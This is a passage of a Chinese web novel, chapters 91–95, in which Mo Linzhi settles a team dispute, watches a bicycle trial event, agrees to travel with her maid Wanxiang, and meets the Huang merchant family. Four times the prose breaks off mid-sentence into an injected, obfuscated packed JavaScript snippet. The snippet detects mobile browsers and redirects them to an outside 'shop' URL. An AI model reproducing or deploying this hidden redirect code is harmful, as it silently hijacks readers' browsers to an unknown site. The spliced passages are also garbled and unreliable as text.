一场还未成型的“执行方案临时更改”风波就在这样玩笑的氛围中消弭于无形。 晚玉主动搭梯子，落落大方地承认对方棋高一手，龚煊这边也还了一分脸面，表示大家只是“术业有专攻”。有了他们俩打的样板，以后团队内部其他部门遇到同样的事情就有了可参考的解决方案。 输了一筹的人不用觉得没面子，暂时赢了的人也知道投桃报李，既避免了未来团队内部争锋相对的可能性，也不会有人敢肆意踏出边界线，去抢别组的项目。 对此，莫林知很满意——她本来都已经做好准备，如果这三个人不能自己达成和解，她就要以强硬手段来压制了。 好在，他们没让她失望。 莫林知进了办公室，看着跟在自己身后进来的何梅问道：“怎么了？有事儿？” 何梅踌躇了一会会儿，闭着眼将心里话和盘托出：“对不起莫管事，我······辜负了您的期待，没有处理好团队矛盾，甚至差点激化它让它朝更难以收拾的场面发展。” 莫林知挑眉，没着急对她的自我反省下定论，而是问道：“这个主意是谁想的？” 何梅立马答道：“是晚玉，她昨天先提出，可以借用这种方式把这个项目过个明路，然后龚煊也说自己可以用手上一个不那么擅长的项目给晚玉做脸面，于是有了今天的场面。” 莫林知点点头，毫不意外。 她和晚玉相处的时间多，知道这个女孩子是属于内秀不外露的性格。而且，可能因为过去在王府当差的经历，谨小慎微刻在了骨子里，对一时的得失没那么看重。 所以，对晚玉她是放心的。至于龚煊······这个人注定不会在她的商业帝国里安稳呆着，因此相对来说她没那么高的要求。相比之下，何梅才是她最关注的。 “那你呢？从这件事情，你学到了什么？” 何梅显然也有过思考，所以面对莫林知的询问，她只稍稍停顿理了理思绪，便做了清晰的讲述： “我最大的感触是3点。第一，我的心态需要转变。对目前的我而言，我的团队已经不仅仅是原来那个创作部的小伙伴以及和我联系比较紧密的晚玉他们了，而是整个‘见闻’。在处理事情上，我需要更客观公允地考虑到所有人的感受。” “第二，矛盾不一定要彻底解决，而是可以缓和。很多事情其实很难真正界定对错，就像这个方案，从情理上，它属于晚玉，应该以晚玉的意思为准，但是从利益上，龚煊的答案更好。所以我要做的，不是一定要在两人中间二选一，稍稍退开一步看，或许会发现可以是一加一。” “第三，不要用固有的印象去看待某一个人，这样对他很不公平。当然，龚煊最后愿意退一步我是真的没想到。” 最后一句还带着点残留的震惊，逗得莫林知唇角弧度更深了——老实说，她也没想到，一个多月不见，龚煊变化会这么大。 想想出差之前，她对这个人的印象真的是差到极点。当时的龚煊集齐了她对男人最厌恶的几点特质，现在么，不说当朋友，但至少可以是那种工作上值得偶尔沟通沟通行业信息的同行人了。 看着说完后还有点忐忑的何梅，莫林知敲了敲桌子，满含笑意地开口：“不用道歉，你能想这么透彻就不会让我失望。后面继续加油！” 简单一句话，何梅的精神气立马不一样了，她响亮地应了，然后准备告辞，莫林知想起被她放在院子里的自行车，连忙交代了一句：“自行车我带过来了，你通知李程江和龚煊他们，尽早抽空体验下。” “好。”何梅应下后步履轻快地推门离开。 过了会儿，院子里渐渐传来喧闹声——显然，这个自行车成了今日《见闻》内部的头版头条。哪怕再忙，大家也忍不住抽空出来看两眼，然后再进去继续工作，过了会儿再出来看两眼······ 按照职级，李程江当仁不让地成了第一个试骑的人，虽然没有莫林知的示范，但男人对“车”这种东西可能真的是骨子里的天赋，也就是稍稍失败了几次，他就已经完全掌握了。 慢悠悠地在院子里晃荡了两圈， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465488|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他将刹车什么的都摸透了，还能单手骑！ 李程江下来后，龚煊立马抢占了第二。有了第一个人的示范，他完美避过了所有坑，坐上去脚一动就完全会了，还嫌院子里不过瘾，骑了两圈后去了外面的那条小巷子。 幸好这个点没人经过，要不然，只怕今天见闻的大门都要被堵了。 骑个没够的龚煊克制着将车交到其他人手上，立马冲进了莫林知的办公室。此时莫林知正和李程江商量着她这几款产品的拍卖方式和起拍价格，龚煊招呼都没一声突然冲进去，就面对了两张神情不悦的脸。 他心一紧，连忙解释，以挽回自己好不容易在莫林知这儿扭转了一点点的印象：“抱歉，我太激动了，不是故意的。我是想问这次体验会能给我们多少辆自行车。” “20辆，其中5辆是作备用的。” “那行，我按照这个数量细化一下具体章程。你们继续，不打扰了。” 龚煊说完往后退，反倒是莫林知，见他来都来了，干脆叫住他，把早就想谈的合作提出来了：“我听说，西南那边有一种树还是草，流出来的汁液是乳白色。我需要这种汁液优化这个自行车，你有没有办法帮我找找然后运过来？万一事成，我们可以达成长期合作。” “当然可以。”龚煊都不用思考，立马答应下来。他没想到自己还能帮助到莫林知——又或者说，没想到莫林知遇到需求，会愿意和他开口。这让他脸上不由自主地流露出发自内心的欣喜。 他稍稍想了想，有些遗憾，以前自己跟着父王外出时没多关注关注周边的环境，以至于不能当场就给莫林知一个确切的答案。不过，莫林知既然说有，那就一定有！ 想到此，他再度保证：“我今天就修书回去，一定给你找到这个东西。” “谢谢。如果找到的话，第一批辛苦按照20斤的酒桶规格，先运10桶左右过来吧。只要我确定它有用，我承诺，到时候我会无偿分享我所知道的该物品种植和使用方法。” 这听起来似乎是个饼，不过以莫林知现今表现出来的价值，没有人会怀疑这个饼到底能不能实现。 只是对龚煊来说，这与其说是个饼，倒不如说是莫林知划的一道界限，告诉他，他们之间只有交易，没有情分的可能。 心底翻涌上一丝苦涩，龚煊却只能理智地，笑着替自己，也替西南的所有百姓接了这滔天富贵。 “那我先出去了？”龚煊勉强勾起一丝弧度。 一个张扬傲气的少年人为爱改头换面，若是换了寻常女子，恐怕会忍不住动摇，或者不忍。可惜，莫林知心智坚定，看到也只当没看到，语气公事公办得就像对待任何一个下属： “辛苦门带上，顺便告诉他们，这个车暂时还不能对外暴露，所以别太张扬。” “是。” 龚煊兴冲冲地进来，稍显落寞地离开。作为对莫林知认知最深且早就“抽身”的旁观者，李程江隔着窗花看着人渐渐消失的背影，脸上都忍不住浮现出一丝复杂。 92. 自行车体验会 所有的一切都在井井有条的进行，拍卖会的拍品招募终于有了进展，虽然经常会遇到拿着破铜烂铁上门的人，但也比之前的无人问津要好很多。 定安城附近一个小镇的见闻分部还收到了一个农民改造的农具。 说来也是神奇。这一家子爷爷这一辈都是地地道道土里刨食的，到了儿子这一代，发现实在没有种植天赋，就被送去学了一门木匠手艺，再到了孙子这一代，发现对什么都不敢兴趣，除了读书！ 于是做爷爷的拼了命的开荒，就想供小孙子以后科考，做儿子的见老父亲这么辛苦，有心帮忙可又偏偏不善农事，他去地里，那绝对是帮倒忙！没办法，就只能时不时多去田里转悠，给老父亲送送水送送饭，这一看多了，就发现了门道，改造了几款农具，顺带也低价卖给乡邻。 这一家子是知道有拍卖会这么个事儿的——飞毛腿天天在乡里转悠叫唤，除了聋子，谁还听不见？他们私下还笑话过，说他们这土里能有啥好东西，居然上这旮沓来找货。但是这村的村长是有童生功名的，知道好坏，就上了这家的门，说让他们去试试。 试试就试试咯，反正也不要钱。 这一家子抱着玩笑的心思登了见闻的门，没多久就傻眼了，后面见闻的人说了啥他们也都不记得了，就记得一个事，还是那工作人员千叮咛万嘱咐的：过几天送他们去定安城总部，那里的人会给他们做细致的定价，来回大约10来天，免费包吃住。 这一下子，整个村都轰动了！ 有那开始在家里淘宝的，也有上门请教整个鉴定过程的，但截至目前，这个村也只有这一个拍品是被选上了。 莫林知晚上在吃饭的时候，还把这件趣事分享了一下，然后戳中了萧太妃那柔软的点，在她的推波助澜下，萧衍还写了一副“大善之家”的字送过去。 字画又引起了多大轰动她是不知道的，莫林知只知道，现在这状态才是真正的过日子。 拍卖会一切进展顺利，其他项目晚玉和龚煊两人已经能完全应付，管理上有何梅操心——莫林知都有种自己可以原地退休的感觉了。 事实上，她最近也确实在一点点减少存在感。 从一开始的迟到早退，到慢慢的变成直接下午才过去，整个变化说快不快，说慢也不慢。 只不过晚玉是有私下问过她，是不是不打算管见闻了。 莫林知没有给出明确答复。 还未发生的事情她向来不会提前泄露消息，再说了，她走或者不走，都不会影响到见闻的运营。 晚香倒是挺高兴，这天确认她上午无事，还主动约她出门玩。地点也不新奇，就是见闻给打响的那条美食街。晚上人太多晚香懒得挤，上午倒是刚刚好。 莫林知一想自己还没去过，就答应了。 两人收拾收拾，也没坐马车，就这么走着出门了。 去那条小食街是要路过安定大街的，按照往常，这条街作为定安城最宽敞的街道，哪怕人多，也不至于挤都挤不动，但她们今天居然遇上了！ 而且这些人还是有目的的往一个方向挤！ 莫林知和晚香对视一眼，都从对方眼睛里看到了好奇心，于是将美食街放一放，也顺着人流往里，不知道挪了多久，终于挪到了前排，隔着熙熙攘攘的人头，她从缝隙处看到，前面居然是被围出来的一个表演区，表演的内容不是杂耍走兽，而是自行车！！！ 几个被派去监管魏安的眼熟面孔，在一个直径10米左右的空地上，将自行车玩出了花！ 莫林知看着地上那些小斜坡、障碍物等，整个人都惊呆了——没人告诉她，这群人已经进化到这程度了啊······ 就这反应力学习力，不去参加奥运真的浪费了······ 不过······这是干啥呢？前几天看到的龚煊那份方案不是骑行比赛吗？怎么突然改街头表演了？？？ 前头两排人流又动了一下，莫林知和晚香两人被挤到了第一排，视野一开阔，这才发现，对角那边还有一个小摊位，也排着老长老长，看不到头的队伍。 摊位上方的招牌做得很大，最上面写着“自行车体验券购买区”，下面是两行略小的价格介绍： 成人：30文/一炷香/人，20人团体票：25文/一炷香/人 儿童：25文/一炷香/人，20人团体票：20文/一炷香/人 下面还有更小的字备注了儿童的身高要求以及相关的押金等制度。 莫林知当即了然了——这个表演，应该是龚煊后来加上，用来引流的。 本着来都来了的想法，莫林知和晚香决定去体验场那边看看。 体验区不在闹市，而在城外。 真·城外，距离城门不到500米，走出去就立马能看到海浪一样的人潮。 龚煊在这里圈了两块地，分为成人区和儿童区，每一批放20人进去，目前来看倒也不显拥挤。 入口处也设置了售票摊，排的人不多，大多数人都是提前买了票过来的。 莫林知带着晚香顺着排队的队伍走到了围栏边上——怕别人误会她们要插队，还特地走远了一点。看了没一会儿，龚煊就过来了。 没想到莫林知会出现在这里，他也有些意外： “怎么搞突然袭击？” “路过安定大街，恰好碰见了就过来看看。” 龚煊瞬间了然。他就说嘛，莫林知这几天什么都不太过问了，明显就是要放手，怎么会突然关心这个活动了。 “你挺厉害~萧衍手底下的人都被你说动了，居然还能在城门口搞这么一块地。不过你之前不是准备做比赛吗？怎么突然改了？” “场地那边出了点问题，比赛得延后几天，我想了想，就在晚玉的方案基础上稍作改动用了这个。这样一来，我可以先用体验会做个预热，到时候卖比赛门票什么的更好卖一点。” 龚煊三言两语将缘由和后续安排道出，对于当时临场出现意外，紧急变动方案，联系场地和各方人员的焦急忙乱只字不提。 其实提不提的，意义都不大。对于一个策划来说，让项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482001|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆满收官就是他最大的成就了。至于中间那些难关，那是每个项目都会遇到的事情。 而且做的多了就会发现，命运给你开的玩笑简直离谱得出奇。哪怕开始前将容易出岔子的地方做了AB预案，到最后落地，你会发现问题可能出在最不可能出错的环节······ 比如品牌方自己把物料弄丢了一部分，又或者信誓旦旦的连续艳阳天突然下了一点雷阵雨······ 都是泪。 所以龚煊即便没说，莫林知也能想象得到，当时那个场面有多抓狂。 看着眼前人山人海的热闹场面，她发自内心地给出了高度的赞赏：“挺厉害的，不声不响就把事情解决了。这样也好，延后几天······说不定那些外来的宾客也能亲眼看看自行车这个东西的价值。到时候你给我把最佳观赏位空出来。” “已经留出来了，看台中心区第一排都不对外售卖，预估67个位置。”龚煊早在修改比赛方案的时候就考虑到了时间因素带来的其他变动，对这一点特地做了标记。 见此，莫林知是再没什么可交代的了，略略停留，就带着晚香离开。没成想走出不过十来米，就在队伍里看到了一大一小两个眼熟的人——萧瑾和莫林杰。 这两人估计早就看到她了，侧着身子，躲躲闪闪的。 莫林知脚下方向一转，慢悠悠踱过去，玩笑道：“怎么？这么些天了家里的没拼出来？” 见躲不过去了，萧瑾转过来，舔着脸赔笑：“就差一点点了，再说了，这里氛围好。” “家里知道你们在这吗？” “知道知道，今天的课业明天立马补上！”萧瑾连连保证，“嗨呀，我们那个真的就差最后一点了，今天来也是想着近距离看看构造，看明白了，说不定今晚就能搞定了。” 旁边，莫林杰也拉了拉姐姐的袖子，仰着头一脸乖萌地说：“姐姐，我们就玩一次，马上就回去。” “行~玩就好好玩，这里人多，注意安全知道吗。”莫林知捏捏弟弟婴儿肥的脸蛋，笑着叮嘱。 萧瑾见状，立马开口：“林知姐你放心吧，我一定会看好小杰的。” “你自己也多注意，这满场都是新手，保护好自己。” “一定一定，放心~” 越是让人放心就越像立flag，但莫林知也不想做那种蛮不讲理保护欲过分爆棚的家长，她想想刚才场地里是有人监管车速的，还是任他们去了。 反正龚煊认识萧瑾，到时候应该会额外注意的。 这一耽搁一上午就没了，原定的美食街影子都没见着，还走了这么多路将早饭消耗了个干净。莫林知和晚香商量了下，干脆雇了个马车绕路前往。 没办法，主路都是往城外去的，马车根本通不过，就连这偏路都不少人。 晚香撩开帘子看着三三两两面色兴奋的人群，忍不住感慨道：“要是自行车以后也能像车马行那样各城布点，那我们出行就更方便轻巧了吧？” 嗯？？？ 莫林知敏锐察觉了一点信号。 93. 晚香 美食街挺整齐的，没有想象中的脏乱，每个摊位划分出了一个区域，容纳他们的摊子和4张小方桌，一眼看过去整整齐齐，强迫症来了都得舒适躺下。 莫林知他们到的时候正好是用餐时间，上座率还行，没有想象中的空，好些附近的人走两步就过来吃了。偶尔还有飞毛腿的小哥跑过来带一份走，一看就是帮人带的。 两人先搞了两杯喝的补充点糖分，然后边走边看，在路过一家生意不错的铁锅炖时停留了下来。也不用纠结，就选了个小份招牌，付了银钱，然后找了个里边的座位落座。 晚香看了看四周的环境，忍不住感叹：“还是晚玉他们有办法，这条街以前不这样，乱得不行，但凡有点钱的都去安定街附近摆摊了。没想到，这才多久，就成了现在的样子。” 莫林知见她也不像是完全不感兴趣的样子，不由得好奇问道：“你要是和晚玉一起进去，说不定你也能做到。” 这话就是随口一说，连试探都算不上，哪成想晚香听了，连连摆手：“我真不行，您让我来吃来玩顺便提点意见还成，让我专门负责做这种我就抓瞎了。” “那你喜欢什么呢？还没想清楚吗？” “我就想一直跟着您。”晚香不假思索脱口而出。 莫林知没说话，她在想晚香这句话背后的意思，过了会儿，她委婉暗示：“跟着我不一定有前途。我不一定会成为娘娘这样的角色，你也不一定能成为碧心。” 她刚说完，晚香就灿烂笑了：“我知道。最开始王爷把我派到您身边的时候我就知道他的心意，说实话，那会儿我确实打算的是成为您手下的第一女官。后来，慢慢了解了您我就知道，您应该是不会甘愿被困在一家后宅的，所以我就不做此想了。” “莫管事，我看到您最近在看《山河志》了。” 莫林知闻言，心里“咯噔”了一下。 之前为了了解北境，她买了不少地理人文类的杂书。最近，因为退休的念头，她又补充了其他地区的一些书籍，想出发前多看看，至少心中有数，不会到了一个新地方就两眼抓瞎。 《山河志》是前朝编撰，后被开国皇帝大力推荐的禹朝最全的地理志，基本上读书人人手一份，不管是游学还是做官都用得上。莫林知这份还是李程江送的典藏版。 最近事情不多了，所以她偶尔会抽出来看一看，但是看完后每次都会插回去，也不知道晚香是怎么发现的。 正想问呢，晚香就主动开口了：“上次您看完插回去的时候没有插好，估计是太匆忙了，所以就不小心知道了。您放心，我跟王爷那边只是偶尔汇报您的起居生活上是否有什么需求，至于其他的我都不提的。” “谢谢。”莫林知真心道了谢，想了想，补了一句，“王爷那边我会找机会说的，但这件事时机还没到，我不想引起不必要的波折。” “我懂，晚玉偶尔担忧的聊起这件事时我也没有透露任何口风，就是单纯安慰她。”晚香笑笑。 正好饭菜上来了，两人适时闭嘴，暂停这个话题。 今天的天气挺不错的，哪怕是正午，太阳也没有很烈，还有一点点小风时不时凉快一下。两人放下所有包袱就这么坐在路边敞开吃的感觉，还真让莫林知有种前世和好友逛夜市的错觉。 不知不觉间，刚才因为心思暴露引起的紧张感都消散了。 吃到尾声，她突然想起，被晚香兜了一大圈，都忘了确认她的想法到底是什么样的了。 莫林知拿出帕子擦擦嘴，想了想，决定打开天窗说亮话：“你是不是想跟我一起走？” “是。”晚香坦诚点头。话都说到了这份上，她也不藏着掖着了。 晚香放下筷子，收拾了一下，然后像面试那样不紧不慢开口：“我不是家生子，而是北上的难民，被路过的太妃娘娘好心带回府里调教，这才有幸成为王府的丫鬟。” “您带着我，其一，不用有什么顾虑；其二，我毕竟代表王府，您到时候离开，王爷肯定会生气会担心，有我作伴，也可以算是一个缓冲；其三，这次去沧澜您应该能看出来，出门在外，我比您的生活经验更丰富，所以，您带着我是不亏的。” 一条一条经过深思熟虑的优势说出来，一看就不是临时起意——这丫头还不知道筹谋了多久！莫林知人都有些傻眼。 她忍不住仔仔细细打量着一脸淡定地说着叛逆话语的人，心想当初为什么会同意萧衍留下这两人在院子里来着？ 哦，对！因为这两人谨慎安静，存在感低，不容易找事儿。 呵、呵呵、呵呵呵呵呵呵······ 现在看来，晚玉才是真的谨小慎微的人，而眼前这人嘛······比她还疯狂。 换位思考，莫林知自认如果是自己从小接受着脚踏实地、本本分分的思想熏陶，她应该很难生出这种不走寻常路的反叛想法。 额······难道是她的影响力太大了？？？？ 莫林知正在“反省”自己的时候，原本淡定的晚香脸上渐渐浮现出一丝忐忑。 说出来之前，她反复推敲了很多次，觉得自己的这点诉求应该还蛮有机会被应允的——她甚至都想好了如果晚玉也要竞争这个机会，她该怎么应对了。 但是没想到莫林知会这么纠结迟疑。 晚香咬了咬唇，决定再争取一下：“莫管事，您相信我，我一定不会拖您后退的。” 莫林知摇摇头，神色还有点恍惚：“我相信，就是觉得惊讶······这样吧，这个事情毕竟不着急，所以你也再想想，到时候我再来确认你的意志。” “好，谢谢您。”晚香松了口气，从神色到眼睛都是笑意。 看得出来，她是真心想和莫林知一起走遍这大好河山。 见此，莫林知也不准备再强劝了。 其实生活最好还是有一个志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495644|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同道合的伙伴，两个人刚好，三个人就有点挤了，一个人未免又孤单。而且晚香说的没错，她们出行在外还蛮合拍的，就像今天出门游玩不也是么，见到好玩的就一起凑个热闹，热闹凑完了就继续向着目标进发——等等等等，该不会这也是晚香筹谋的一环吧？？？ 莫林知都有点佩服眼前这个女孩子了。 很沉得住气啊！步步为营的，要不是她自己放了点讯号出来，谁都不会察觉她心底的真正想法。 ······不愧是王府后院的人。 莫林知想想生活中其实有些马大哈的自己，再想想晚香的细致沉稳······不得不说，她开始觉得多个人也不错了。 既然确认了对方同行伙伴的身份，那对于有些东西莫林知也就放开了，她交代道：“书房里那些书籍你有时间也可以看看，有什么想法就写在纸上，插入到相关地方，到时候我们一起完善下第一期的安排。” 晚香一口答应：“没问题，规划我来做吧，您先忙正事，等我做完了你再改就好。” 莫林知看她这么积极开心的样子，忍不住想挑眉。而等到晚上，晚香偷偷拿着一份“走遍河山-第一期”规划的框架过来时，莫林知就更加想“呵呵”了。 槽多无口。 平时她和晚玉在那沟通各个商家的策划项目时，这位从不插一句话，除了偶尔进来换壶茶，听到也只当没听到的。莫林知一直觉得是因为她确实欠缺了一点天赋，所以不懂这些东西。 现在么，哼哼······ 她感觉晚香挺像自己在职场遇见过的一些95后的——过早看清了职场的意义就是没有意义，所以平时从不主动表现，反正拿多少钱就做多少事。但是学东西又很快，而等你发现他的潜力的时候，可能是人已经要走了，心情好，大发慈悲给你露了一手的时候。 莫林知：>﹏ 眼前这份旅游攻略，没有具体的时间安排，只放了地名、推荐指数、推荐理由、当地风景、当地人文、当地美食、住宿推荐、费用核算这些字段，她在最后面还加了一栏参考典籍。 然后上一个地点和下一个地点的衔接处加了一个简易地图指示，旁边注明可用交通以及靠谱的车马行等商家。 ——面面俱到又充满了机动性，没有那种“赶场”的紧迫感，就挺休闲的。 五味杂陈的莫林知扯了扯嘴角，将规划还给她：“就按你这个来吧，我也想不出更好的了。” “是，我看您在苏杭一带做了标记，我就先从这个地方开始整理吧。”晚香抱着被认可的成果，笑眯眯地行李告退。 看着她的背影，莫林知忍了又忍，实在没忍住，摇头失笑。 真是没想到，临了临了，居然被本土小姑娘上了一课。 就······挺有意思的。 想想今天晚香三番两次给出的惊喜，莫林知有点开始期待未来的两人之旅了。 94. 黄家 自那天互相露了底，莫林知发现她和晚香之间越来越默契了。甚至有一次晚玉都提了一嘴“我怎么突然感觉自己被你们排挤了”，然后引得两人相视一笑。 偶尔工作累了，莫林知闲来无事翻书架时，也会发现夹在书籍里，越来越丰满的“走遍河山-第一期”规划。估计是晚香晚玉两人同住一间，不太方便，所以就把这个放在了莫林知的书房。 还别说，做得挺好的。用词精炼，优先级明确，莫林知看着看着，感觉心都迫不及待想要出笼了——也因为这，她在写后续的工作规划时都更有动力了。 时间倏忽而过，突然有一天，萧凛那边传来消息，说皇城黄家的人已经到了，想见面一叙。 莫林知看着手上的拜帖，眼中排斥一闪而逝：“这么快就到了？王爷那边呢，有收到吗？” “有，只是王爷拒绝了。” 听了萧凛的话，莫林知若有所思：“所以，王爷的意思是让我出面？这黄家的底细你知道吗？” “都在这儿。”萧凛从袖中抽出几张纸递过来。 莫林知接过展开，一目十行的看完，发现这黄家跟“奇货可居”的吕不韦挺像的。 本来只是一个普通的商户，但是开国皇帝起事之时，这黄家看准了他的潜力，就将全部身家都交付了出去，帮助当时无钱无粮的高祖度过了开头的困苦时期。 也正是因为黄家的这一助力，高祖才能迅速招募人才兵士，占得先机。 据说，当时全部捐献后，本是豪商的黄家都有段时间勒紧了裤腰过日子——当然，是真的如此还是政治作秀就未可知了。只不过天下平定后，黄家确实得到了优厚的奖赏。 高祖给了他们皇商的名号，三代始降的爵位，以及族中子弟各种官职。说真的，这一家子要是安安分分的过日子，兴许这爵位还会保留久一点，奈何人家可能投资有瘾，高祖还活着的时候就开始投资二代继承人，偏偏还选错了，于是用全族官爵换了性命，一下子从新贵跌落成白身。 有段时间，皇城那边还给这户人家取了个外号，叫“竹篮之家”。 竹篮打水，一场空。 莫林知弹了弹写着“竹篮之家”的那张纸，笑道：“这帮人也够损的，不过他们现在是怎么个意思？想投资我们王爷？” 萧凛想了想他们踏入北境后的表现，点了点头：“估摸着是。” “那王爷是什么意思？” 萧凛没有正面回答，而是给这黄家做了两句资料上没有的注解：“黄家虽然没有官职爵位，但一直还保留着皇商的名头，所以底蕴深厚。再加上他们善于结交，与人为善，明面上在京城还是挺混得开的。” “那就是可以探一探。”莫林知下了结论，然后拿起桌上的纸笔刷刷几下写了一张回帖交给萧凛，“约了他们明天火锅店吃中饭，你去吴二那边打点下，就在顶层的办公区给我安排一张桌子，然后找两个有眼色的伺候。明天你和······问问王爷那边，我能不能带龚煊一起过去。” “是。”萧凛躬身领命而去。 莫林知坐在书房，一边想着明天该聊什么不该聊什么，一边心烦意燥——她挺讨厌这种社交的。之前一心只想2年内搭建好框架完成约定还能忍，这几天可能心有点野了，就很烦。 好在，拍卖会结束后应该就会好很多。 但是，拍卖会结束前还有好些家啊啊啊啊啊！ 莫林知长叹一声，向后一靠，望着屋顶发呆。 第二天，她带着萧凛抵达火锅店，在门口偶遇了同样不太耐烦的龚煊。 见到莫林知，他的第一句话就是：“我下午还得去场地那边，吃到一半就得走。” 莫林知其实只需要他露个面就行，当下无可无不可地答应了，顺便问了一句：“那个门票带了吗？” “还没做出来。” “哦，那就到时候再说吧。走，进去吧。” 莫林知一踏入店里，吴二就亲自过来领着几人上去，顺便小声说着楼上的情况：“几位贵客一早就到了，等了快半个时辰，我就先让人送了些店里的小食饮品进去。这群人一直都没出来过，门外的小二说也听不见什么交谈声。” “行，等会儿送完菜品，你让两个小二退到楼梯口守着，有什么事我会开门叫他们的。”莫林知交代。 吴二恭谨应下。 顶楼很快就到，门口的小二见到莫林知到来，敲了敲门然后将门推开了。 莫林知卡在最后一刻扬起模式化笑容跨了进去，人还没看清，招呼先打上了：“不好意思不好意思，让大家久等了。” 里面本来安坐喝茶的四人立马站了起来，排头一个三十多岁，身形有些瘦弱的美男子低眉行礼：“哪里，是我们叨扰了，莫管事不见怪就行。” 还别说，这人脸上扬起淡淡的笑容时，颇有些“陌上君子”的风韵，看得莫林知心里的烦躁都少了一点。 她心里一舒服，脸上的笑容都真实了些，连忙回礼：“客气客气，是我请你们来做生意的嘛，还要感谢各位不辞辛苦远道而来。对了，怎么称呼你们？” 美男子连忙做自我介绍：“鄙人黄志真，旁边这位是我同胞兄弟黄志知，这两位是我叔父家的长子黄志灼、黄志见。” 哟吼，嫡系这一代最有出息的四个男丁都派过来了？也不怕真在北境出了事儿？是家族内斗呢还是真心想给北境投诚？ 莫林知胡乱猜测之时，黄志真还在叭叭地告歉：“本来这一趟应该是家父亲自带队，无奈临出发前痛风发作了，实在有心无力。不过莫管事放心，即便家父不在，我也是可以完全做主的。” 莫林知伸手，制止了他的客套，玩笑道：“我没啥放心不放心的哈哈哈，拍卖会嘛，无非就是价高者得，你们自己心里有成算就好啦~来来快入座吧，尝尝我们这儿的特色。” 黄家四兄弟见状，不着痕迹地交换了个眼色，从善如流地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508609|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向那个大圆桌。 简单一个照面，这个年轻至极的女孩看似爽朗实则纹丝不漏，看样子，那些传言没有半点夸张的。还有她身边那位，如果没记错，应该是西南王世子？ 西南王这么快就投诚了吗？还将自家唯一的继承人押在了北境！ 黄志真心里一凛，觉得之前的安排有些拿不出手了。 莫林知嘴角的弧度纹丝不变，摇了摇铃，少许片刻后，吴二领着几个人亲自将锅子和菜品送进来了。 莫林知还让他们留了一壶高汤，这样等会儿自己就能加水。 等到闲杂人等都出去，锅子这边也烧开了。莫林知就问了下他们的口味，然后先做了一波示范。 “大家随意啊，出门在外就当交个朋友，我们北境没那么多文绉绉的规矩，自在就好。” “是是，看得出来，北境儿女都不拘小节，落落大方，看得我都羡慕了。唉······说真的，皇城富贵是富贵，但是各种约束也是真的多，没有北境这么敞亮。”黄志真说着，先端起了酒，“我敬莫管事一杯，初来乍到，感谢您的招待，有什么得罪的还请海涵。” 莫林知连忙一口闷了，笑道：“都是朋友，咱互相包涵。” 对方又是连连应是。 客套来客套去的，哪怕对面的人再赏心悦目，莫林知也不耐烦。她干脆转了个话题，问起了皇城那边的人文风物。 她问的也不是什么机密，就是那边特产有什么，日常生活习惯之类的，黄志真自然是和盘托出。然后莫林知也会介绍介绍北境这边的习惯，尤其是和皇城那边不太一样的点，她会格外提一下，以免他们犯了忌讳。 饭吃到一半，龚煊就告辞了。 见他离开，莫林知跟对面几人告歉：“我怕我不懂皇城那边的规矩怠慢了你们，所以叫了他一起。没想到他几天实在繁忙，大家别见怪啊。他正在筹备那个自行车比赛，到时候我给你们送几张票过去。” 黄志真很捧场地表现出期待之色：“就是传说中堪比马匹但是更方便还不用喂养的工具？那可好，我就等着您的票长长见识了。” 莫林知挥挥手：“也没那么神乎其神，方便倒确实方便。” 不得不说，和这几个人聊天还蛮舒服的——抛开那些客套的话。 黄家的人是真的天生属于交际场，不管你说什么，都能立马接上话，哪怕说错了，也就是个无伤大雅的玩笑——放得下身段。 不止如此，人家还很识眼色。比如这自行车，明知道有现成的，连开了3天的体验会到现在都还是街头巷尾的头条话题，这群人不可能没听到。但，人家就是能克制住不提额外的要求。 莫林知说送票，他们就含笑接受，她不提让他们去看样品之类的话，他们也就权当不知情。 很沉得住气。 吃到后面，莫林知心里都有些玩味了——这几个人约她这一顿饭，该不会就想这么吃吃喝喝说笑到最后吧？ 95. 颜丽 又坐了会儿，最后一杯茶喝完，浪费了2个多小时的莫林知准备告辞——反正机会给他们了，不要拉倒。 